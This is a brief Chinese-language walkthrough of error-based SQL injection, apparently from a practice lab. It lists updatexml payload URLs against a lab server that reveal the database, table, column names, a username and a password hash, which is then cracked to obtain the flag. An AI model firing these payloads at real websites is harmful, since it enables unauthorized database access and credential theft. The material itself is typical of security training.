SQL注入漏洞测试(报错盲注)

1.判断注入，输入’显示语法错误说明有注入点

2.爆数据库

http://219.153.49.228:44996/new_list.php?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+

3.爆表

http://219.153.49.228:44996/new_list.php?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = ‘stormgroup’ limit 0,1),0x7e),1)–+

4.爆字段名

http://219.153.49.228:44996/new_list.php?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = ‘stormgroup’ and table_name = ‘member’),0x7e),1)–+

5.爆用户名

http://219.153.49.228:44996/new_list.php?id=1’ and updatexml(1,concat(0x7e,(select name from member limit 0,1),0x7e),1)–+

6.爆字段值，password里因为~占了一个位数，所以需要把最后一位单独截出来
http://219.153.49.228:44996/new_list.php?id=1’ and updatexml(1,concat(0x7e,(select name from member limit 1,1),0x7e),1)–+
http://219.153.49.228:44996/new_list.php?id=1’ and updatexml(1,concat(0x7e,(select password from member limit 1,1),0x7e),1)–+
http://219.153.49.228:44996/new_list.php?id=1’ and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 1,1),0x7e),1)–+
拼接起来：~3784ad971537a98e168be3888f10079c
md5解密得到密码，进入系统得到key：mozhe196b44e8fa7e3295b42d8227330